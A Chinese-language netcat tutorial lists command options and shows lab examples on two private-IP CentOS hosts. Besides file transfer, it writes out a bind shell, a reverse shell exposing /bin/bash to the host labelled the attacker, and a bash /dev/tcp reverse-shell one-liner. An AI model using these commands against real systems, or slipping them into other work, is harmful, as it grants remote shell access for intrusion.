一、使用手冊
1.簡介:nc/NetCat是一款端口監(jiān)聽工具,可以用來建立系統(tǒng)之間的連接、傳輸文件、TCP代理等。
2.命令參數(shù)


nc [-options] hostname port[s] [ports] …
監(jiān)聽端口等待連接:nc -l -p port [-options] [hostname] [port]
主要參數(shù)[options]:
-d ? ? ? ? ? ? ?無命令行界面,使用后臺模式
-e prog ? ? ? ? ?程序重定向 [危險!!]
-g gateway ? ? ? 源路由跳躍點, 不超過8
-G num ? ? ? ? ?源路由指示器: 4, 8, 12, ...
-h ? ? ? ? ? ? ?獲取幫助信息
-i secs ? ? ? ? ? 延時設置,端口掃描時使用
-l ? ? ? ? ? ? ? 監(jiān)聽入站信息
-L ? ? ? ? ? ? ?監(jiān)聽知道NetCat被結(jié)束(可斷開重連)
-n ? ? ? ? ? ? ?以數(shù)字形式表示的IP地址
-o file ? ? ? ? ? 使進制記錄
-p port ? ? ? ? ?打開本地端口
-r ? ? ? ? ? ? ? 隨機本地和遠程的端口
-s addr ? ? ? ? ?本地源地址
-t ? ? ? ? ? ? ? 以TELNET的形式應答入站請求
-u ? ? ? ? ? ? ?UDP 模式
-v ? ? ? ? ? ? ? 顯示詳細信息 [使用=vv獲取更詳細的信息]
-w secs ? ? ? ? ?連接超時設置
-z ? ? ? ? ? ? ? I/O 模式 [掃描時使用]
端口號可以是單個的或者存在一個范圍: m-n [包含值]。
3.簡單使用:
測試環(huán)境:
操作系統(tǒng):centos 7.7
nc版本:7.50
系統(tǒng)A:192.168.226.128
系統(tǒng)B:192.168.226.129
(1)文件傳輸
系統(tǒng)A命令:nc -l -p 8978 > ./tmp.txt
系統(tǒng)B命令:nc -v 192.168.226.128 8978 < ./test.txt


(2)正向遠程連接
主要使用nc危險參數(shù)-e將受害者系統(tǒng)A的/bin/bash重定向到本地某端口8978,然后攻擊者系統(tǒng)B連接遠程端口8978
系統(tǒng)A命令:nc -t -e /bin/bash -l -p 8978
系統(tǒng)B命令:nc -v 192.168.226.128 8978


(3)反向連接
主要然后攻擊者系統(tǒng)B監(jiān)聽本地端口8978,然后在受害者系統(tǒng)中使用nc危險參數(shù)-e將受害者系統(tǒng)A的/bin/bash重定向連接到遠程端口8978。
系統(tǒng)B命令:nc -lvp 8978
系統(tǒng)A命令: nc -t -e /bin/bash 192.168.226.129 8978


補充:
使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以進行反彈shell連接
系統(tǒng)A命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1
系統(tǒng)B命令:nc -lvp 8978


--broker參數(shù)可用于數(shù)據(jù)轉(zhuǎn)發(fā)代理使用(參考http://www.itdecent.cn/p/a2c89231e0c9)
參考鏈接
https://blog.csdn.net/bcbobo21cn/article/details/52095914
https://www.cnblogs.com/kankanhua/p/5843608.html
https://blog.csdn.net/phone15062117684/article/details/79039735